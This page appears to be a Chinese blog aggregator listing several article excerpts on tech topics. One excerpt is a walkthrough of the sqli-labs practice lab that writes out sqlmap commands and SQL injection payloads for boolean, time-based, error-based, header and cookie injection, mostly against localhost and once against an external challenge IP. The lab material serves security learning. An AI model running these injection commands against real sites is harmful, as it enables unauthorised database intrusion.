首页 文章 精选 留言 我的

精选列表

搜索[基础搭建],共10000篇文章
优秀的个人博客,低调大师

直击系统领域顶会OSDI'18现场,探秘阿里集团基础设施团队

作为系统领域顶会双星之一的OSDI(USENIX Symposium on Operating Systems Design andImplementation),当地时间今年10月8日-10日在在美国加州Carlsbad的Omni La Costa Resort & Spa酒店举办了其第13次会议OSDI'18。 本次大会参会人数达到了创纪录的650多人,投递论文257篇,收录47篇,录取率不到20%。另外有83个Poster和6个Demo。本届OSDI三篇BestPaper分别来自: ● UnderstandingFailures (REPT:Reverse Debugging of Failures in Deployed Software, Weidong Cui et al) ● OperatingSystem(

优秀的个人博客,低调大师

对于sqli-labs基础篇全程使用sqlmap不用手工注入(七夕礼物!!!)

个人简介:萌新一枚,渣渣一个,全程划水,会喊六六 本文断断续续已经写了三天了,其中查过很多其他人的博文 但是发现大多数人关于sql-labs使用的都是手工注入, 由于自己太渣,只能去找工具去注入(QAQ) 希望各位大佬不要见怪呀!! 不论喜欢与否都可以留言哦!!!! 关于sqli-labs的解题技巧,使用sqlmap注入,尽量少使用手工注入的方式 关于sql-labs中的1-4我已经在另一篇文章中写出具体的过程: https://www.cnblogs.com/lxz-1263030049/p/9363151.html sqli-labs:5-9 需要判断注入方式 具体判断方式如下: 1:用于验证时间延迟型的盲注: ?id=1’ and sleep(5) --+ 2:用于判断布尔型盲注: ?id=1’ and 1=1 --+ , ?id=1' and 2=1 -- + 再根据回显的不同进行判断: 主要使用的语句: sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-8/?id=1 --technique B --dbms mysql --batch -v 0 或者: python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-8/?id=1" --technique B --dbs --batch 其中的—technique是为sqlmap中的注入技术,在sqlmap中其支持5中不同模式的注入 B:Boolean-based-blind (布尔型型注入) E:Error-based (报错型注入) U:Union query-based (联合注入) S:Starked queries (通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入) T:Time-based blind (基于时间延迟注入) 我们可以根据不同的报错提示更改—technique后面的字母 其中的—dbms : 不仅可以指定数据库类型,还可以指定数据库版本 --batch: 用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。 -v 0参数只是为了更好的截图. 第八题: 使用语句为:python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-8/?id=1" --technique B --dbs –batch 或者使用语句: python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-8/?id=1" --current-db --threads 10 --batch --technique BES 就可以得到数据库的信息 第九题 属于延迟注入的题目(具体判断方法上面已经给出)同样也可以使用上面类似的语句: python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-9/?id=1" --technique T --dbs --batch -v 0 关于第11-17: 都是属于post注入的问题,只是内部参杂着盲注的问题,需要使用burp火狐浏览器的HackBar都是可以的· 第十一题:post注入,基于错误 - 字符型 根据post回显的值就可以进行sqlmap的跑测 : 使用的语句为: python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-11/?id=1" --data "uname=11111 &passwd=111111 &submit=Submit" --dbs --threads 10 --batch --technique ES 其中的: --data:后面可以加上数据段(post/get类型的都是可以的) --threads:最大并发线程,盲注时每个线程获取一个字符(7此请求),获取完成后线程结束,默认为1,建议不要超过10,否则可能影响站点可用性 下面的只是需要常规的操作就可以了 第十二题: 也是类似的过程就可以了: python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-12/?id=1" --data "uname= ")or ("1")=("1 &passwd= ")or ("1")=("1 &submit=Submit " --dbs --threads 10 --batch --technique E 或者使用语句: python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-12/?id=1" --data "uname=")or("1")=("1&passwd=")or("1")=("1&submit=Submi" --dbs --threads 10 --batch --technique BES 第十三题:可以使用语句: python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-13/?id=1" --data "uname=')or('1')=('1 &passwd=')or('1')=('1&submit=Submit" --dbs --threads 10 --batch --technique EBS 同样也是可以得到答案的(其他几个也是类似的手法) 第十五题:布尔和时间延迟的盲注, 简单的注入语句为: python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-15/?id=1" --data "uname='or'1'='1&passwd='or'1'='1&submit=Submit" --dbs --threads 10 --batch --technique BET 下面就是属于sqli-labs 18-20, 这三题主要时关于http的内容 常见的HTTP注入点产生位置为 【Referer】、【X-Forwarded-For】、【Cookie】、【X-Real-IP】、【Accept-Language】、【Authorization】 第18题:报错型,单引号,user-agent型注入点 由于这一题时关于user-agent的注入直接使用语句: python sqlmap.py -r 1.txt --dbs --threads 10 --batch --technique BTES 关于txt的内容: POST /sqli-labs-master/Less-18/ HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:61.0) Gecko/20100101 Firefox/61.0* Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1/sqli-labs-master/Less-18/ Content-Type: application/x-www-form-urlencoded Content-Length: 38 Connection: close Upgrade-Insecure-Requests: 1 uname=admin&passwd=admin&submit=Submit 就是属于burp里面的内容 -r: sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等) 或者也可以这样: python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-18/" --user-agent="Mozilla/5.0 (Windows NT 10.0; WOW64; rv:61.0) Gecko/20100101 Firefox/61.0*" --level 4 --dbs --threads 10 --technique BEST –batch --user-agent http头会携带一个值,就是user-agent,表示访问的浏览器的信息 sqlmap 检查uesr-agent中的注入点, lever>=3才会去检查user-agent头是否存在注入漏洞 第十九题:报错型,单引号,referer型注入点 这一题的做法如同上一题一样都可以使用: python sqlmap.py -r 1.txt --dbs --threads 10 --batch --technique BEST 只是存为1.txt的文档变成了这个: POST /sqli-labs-master/Less-19/ HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:61.0) Gecko/20100101 Firefox/61.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1/sqli-labs-master/Less-19/* Content-Type: application/x-www-form-urlencoded Content-Length: 38 Connection: close Upgrade-Insecure-Requests: 1 uname=admin&passwd=admin&submit=Submit 另外也可以使用这样的语句跑出数据库: python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-19/" --referer=" http://127.0.0.1/sqli-labs-master/Less-19/*" --level 4 --dbs --threads 10 --technique BEST –batch 至于里面的一些内容上面已经有一些介绍了 下面是最后一题就是 第二十题:报错型,单引号,cookie型注入 对于最后一题,我就用一个最近一个看到的一题结束吧 题目链接:http://202.112.51.184:16080/ 直接进行抓包看一下: Cookie有问题,直接使用sqlmap进行注入‘ python sqlmap.py -u "http://202.112.51.184:16080/" --cookie="PHPSESSID=cbc3a5ec86e968fa6ee74f1839c2097e" –dbs --cookie web应用基于cookie的身份验证,对于post请求,可以指定cookie sqlmap -u "url" --cookie="..." --level 3 –dbs 参考文章: sql-labs Less :https://www.cnblogs.com/peterpan0707007/p/7620048.html sqlmap注入总结:http://blog.51cto.com/wt7315/1841241 SQLI-LAB 的 实战记录(Less 11 - Less 20):https://blog.csdn.net/qq_21500173/article/details/51920968 您可以考虑给博主来个小小的打赏以资鼓励,您的肯定将是我最大的动力。 作者: 落花四月 出处: https://www.cnblogs.com/lxz-1263030049/ 关于作者:潜心于网络安全学习。如有问题或建议,请多多赐教! 版权声明:本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接. 特此声明:所有评论和私信都会在第一时间回复。也欢迎园子的大大们指正错误,共同进步。或者直接私信我 声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是作者坚持原创和持续写作的最大动力!

优秀的个人博客,低调大师

吴恩达《深度学习》第一门课(2)神经网络的编程基础

2.1二分类 (1)以一张三通道的64×64的图片做二分类识别是否是毛,输出y为1时认为是猫,为0时认为不是猫: y输出是一个数,x输入是64*64*3=12288的向量。 (2)以下是一些符号定义(数据集变成矩阵之后进行矩阵运算代替循环运算,更加高效) x:表示一个nx维数据,维度为(nx,1) y:表示输出结果,取值为(0,1); (x(i),y(i)):表示第i组数据; X=[x(1),x(2),……,x(m)]:表示按列将所有的训练数据集的输入值堆叠成一个矩阵;其中m表示样本数目; Y=[y(1),y(2),……,y(m)]:表示所有输入数据集对于的输出值,其维度为1×m; 2.2逻辑回归 (1)逻辑回归的输出值是一个概率,算法思想如下: (2)激活函数使用sigmoid,它使得输出值限定在0到1之间,符合概率的取值。 (3)关于偏置项(偏差)b,可将其变成θ0,对应的x0恒定为1,如下所示: 2.3逻辑回归的代价函数 (1)损失函数(针对单个样本): (2)代价函数(针对全部训练样本): 2.4梯度下降法 (1)下图中左边为凸函数,右边为非凸函数,逻辑回归中代价函数为凸函数,故任意的初始化都能收敛到最优点: (2)参数w、b的更新方式: 2.5导数 导数即斜率。 2.6跟多的导数例子 记住一些常见的导数求法或者直接查看导数表。 2.7计算图 (1)下图展示计算图计算的过程: (2)正向传播用于计算代价函数 2.8计算图的导数计算 (1)反向传播利用链式法则来进行求导,如对a进行求导,其链式法则公式为: 2.9逻辑回归中的梯度下降 针对于单个样本 (1)计算图如下: (2)首先计算da: (3)然后计算dz: (4)最后计算dw,db(下面的式子其实已经对所有样本进行的求导): 2.10m个样本的梯度下降法 (1)以下代码显示了对整个数据集的一次迭代 (2)以上过程会有两个循环,一个循环是循环是遍历样本,第二个循环是当w很多时是要循环的,上面之写出了两个w,所以没体现出来。 2.11向量化 (1)使用循环的方式计算:ωTx (2)使用向量的方式 后者不仅书写简单,更重要的是计算速度可以比前者快特别多。 2.12向量化的更多例子 (1)消除w带来的循环 设置u=np.zeros(n(x),1)来定义一个x行的一维向量,从而替代循环,仅仅使用一个向量操作dw=dw+x(i)dz(i),最后我们得到dw/m。 2.13向量化逻辑回归 (1)将样本x横向堆叠,形成X,同时根据python的广播性质(把实数b变成了(1,m)维),得到: (2)继续利用Python的计算方法,得到A: 2.14向量化logistic回归的梯度输出 (1)没有用向量化时使用的代码: (2)使用向量化之后的代码: 其中前面五个式子完成了前向和后向的传播,也实现了对所有训练样本进行预测和求导,再利用后两个式子,梯度下降更新参数。另外如果需要多次迭代的话,还是需要用到一个循环的,那是避免不了的。 2.15Python中的广播 (1)下图形象的总结了Python中的广播 (2)在Python的numpy中,axis=0是按照列操作,axis=1,是按照行操作,这一点需要注意。 2.16关于python_numpy向量的说明 (1)使用a=np.random.randn(5)生成的数据结构在python中称为一维数组,它既不是行向量也不是列向量,用a.shape的结果是(5,)这表示它是一个一维向量,a和它的转置相乘其实得到的是一个数。 (2)应该使用a=np.random.randn(5,1)这样生成的是一个行向量,它和他的转置乘积会是一个矩阵: 2.17Jupyter/iPython Notebooks快速入门 2.18(选修)logistics损失函数的解释 (1)首先需要明确,逻辑回归的输出表示y等于1的概率。故有: (2)合并成一个式子(要使得式子越大越好): (3)根据对数函数log的单调递增性,对上式取对数有: (4)要最大化上式,最小化上式取反,得到一个样本的损失函数。 (5)所有样本时,认为样本间独立同分布,故联合概率就是每个样本的乘积: (6)两边取对数得到: (7)要最大化上式(最大似然估计)也就是最小化: 总结一下:为了最小化成本函数J(w,b),我们logistic回归模型的最大似然估计的角度出发,假设训练集中的样本都是独立同分布的条件下。

优秀的个人博客,低调大师

2、【基础环境安装】CentOS6.5 安装Python3.6+python虚拟环境virtualenv安装

自己用Flask写的淘宝天猫优惠券搜索引擎【淘宝券 www.tbquan.cn 】谢谢支持,代码免费领取:http://www.tbquan.cn/share,教程地址:https://www.jianshu.com/c/905dd533e07d CentOS6.5 安装Python3.6+python虚拟环境virtualenv安装 问题描述: CentOS 6.5上默认安装的python版本是2.6.6,现在python3的程序越来越多,所以对python进行升级。 1、下载python(链接:https://www.python.org/ftp/python/3.6.0/Python-3.6.0.tgz )到 /usr/local/目录下 2、以root权限打开终端,进入安装包的存放路径,解压安装包: cd /usr/local/ tar -xzvf Python-3.6.0.tgz 3、进入解压好的安装包文件夹: cd Python-3.6.0 4、编译安装包,指定安装路径,并执行安装命令: 注意:prefix参数用于指定将Python安装在新目录,防止覆盖系统默认安装的python ./configure --prefix=/usr/local/python36 make && make install 5、修改系统默认的Python路径,因为在终端中输入Python命令时默认是指向Python2.6.6 mv /usr/bin/python /usr/bin/python-2.6.6 6、建立新的软连接,指向Python-3.6.0: 注:这里的python36是第4步指定的安装路径,python3.6是Python包里的可执行程序 ln -s /usr/local/python36/bin/python3.6 /usr/bin/python 7、因为yum是依赖python的,所以我们修改了默认的python,就要修改yum,让其运行指向旧的版本: vi /usr/bin/yum 将第一行中的“#!/usr/bin/python” 修改为“#!/usr/bin/python-2.6.6”,保存即可 8、可以打开一个新的终端,通过python命令进入python环境,就可以看到已经指向了新安装的python3.6.0: [root@localhost:~]$ python Python 3.6.0 (default, Jul 30 2016, 19:40:32) [GCC 4.2.1 Compatible Apple LLVM 8.0.0 (clang-800.0.34)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> 9、安装virtualenvwrapper pip install virtualenv pip install virtualenvwrapper #确保virtualenv已安装 pip install virtualenvwrapper-win #Windows使用该命令 10、安装完成后,在~/.bashrc写入以下内容: export WORKON_HOME=~/Envs source /usr/local/bin/virtualenvwrapper.sh 第一行:virtualenvwrapper存放虚拟环境目录 第二行:virtrualenvwrapper会安装到python的bin目录下,所以该路径是python安装目录下bin/virtualenvwrapper.sh 11、执行下面命令,是配置立即生效: source ~/.bashrc 12、virtualenvwrapper基本使用: #创建虚拟环境 [root@localhost ~]# mkvirtualenv venv #指定python版本创建虚拟环境 [root@localhost ~]# mkvirtualenv --python=/usr/local/python36/bin/python venv #查看当前虚拟环境目录 [root@localhost ~]# workon py2 py3 #切换虚拟环境 [root@localhost ~]# workon py3 (py3) [root@localhost ~]# #退出虚拟环境 (py3) [root@localhost ~]# deactivate [root@localhost ~]# #删除虚拟环境 [root@localhost ~]# rmvirtualenv venv ****【注】原创内容转载请注明 : CentOS6.5 安装Python3.6+python虚拟环境virtualenv安装 https://www.jianshu.com/p/7b9908b0bbb9 ****

优秀的个人博客,低调大师

解读 V8 GC Log(一): Node.js 应用背景与 GC 基础知识

原作者:洗影 前言 本文基于我在 Node.js 基金会主办的 Node Live Beijing 的分享,因为微软准备了一个翻译,现场临时把英文的分享改成中文了,有点磕巴。加上分享时长有限很多地方没有展开,于是现在事后来用文字再详细写一下这个题目。 本文是该系列的第一篇,第二篇请点这里:解读 V8 GC Log(二): 堆内外内存的划分与 GC 算法,第三篇还在编写中。 背景:阿里的 Node.js 应用 阿里是国内的大公司里使用 Node.js 较多的一家,目前大部分的场景是在阿里内部的一系列分布式系统/服务/中间件之上,使用 Node.js 来开发原来使用 PHP/Java 开发的应用层的程序。在解决回调维护的问题上,大多使用 ES6 generator 来编写视觉上同步的代码。目前阿里基于 Koa 开发了一个企业级框架来集成运维接入

优秀的个人博客,低调大师

【完全指南】6个月,每周10-20小时,零基础掌握深度学习

必备条件 你愿意在接下来的6个月每周花费10-20小时 你已经有一些编程技能。在学习过程中,你应该能够轻松学会Python,以及云的知识(假设没有Python和云的背景)。 已经接受过一些数学教育(代数、几何等)。 能够访问互联网和使用计算机。 6个月,循序渐进5个步骤掌握深度学习 第1步 我们通过开车来学习驾驶,而不是通过学习离合器和内燃机的工作原理。至少最开始不是这样。学习深度学习时,我们将遵循同样的自上而下的方法。 作为入门,学习fast.ai的“给程序员的深度学习课程-Part 1”[1]。这需要花费4-6周的时间。这个课程有一个在云上运行代码的实践。Google Colaboratory[2]提供免费的GPU接入,其他的选项还有Paperspace,AWS,GCP,Crestle和Floydhub。所有这些都很好用。你不用开

资源下载

更多资源
Mario

Mario

马里奥是站在游戏界顶峰的超人气多面角色。马里奥靠吃蘑菇成长,特征是大鼻子、头戴帽子、身穿背带裤,还留着胡子。与他的双胞胎兄弟路易基一起,长年担任任天堂的招牌角色。

Rocky Linux

Rocky Linux

Rocky Linux(中文名:洛基)是由Gregory Kurtzer于2020年12月发起的企业级Linux发行版,作为CentOS稳定版停止维护后与RHEL(Red Hat Enterprise Linux)完全兼容的开源替代方案,由社区拥有并管理,支持x86_64、aarch64等架构。其通过重新编译RHEL源代码提供长期稳定性,采用模块化包装和SELinux安全架构,默认包含GNOME桌面环境及XFS文件系统,支持十年生命周期更新。

Sublime Text

Sublime Text

Sublime Text具有漂亮的用户界面和强大的功能,例如代码缩略图,Python的插件,代码段等。还可自定义键绑定,菜单和工具栏。Sublime Text 的主要功能包括:拼写检查,书签,完整的 Python API , Goto 功能,即时项目切换,多选择,多窗口等等。Sublime Text 是一个跨平台的编辑器,同时支持Windows、Linux、Mac OS X等操作系统。

WebStorm

WebStorm

WebStorm 是jetbrains公司旗下一款JavaScript 开发工具。目前已经被广大中国JS开发者誉为“Web前端开发神器”、“最强大的HTML5编辑器”、“最智能的JavaScript IDE”等。与IntelliJ IDEA同源,继承了IntelliJ IDEA强大的JS部分的功能。

用户登录
用户注册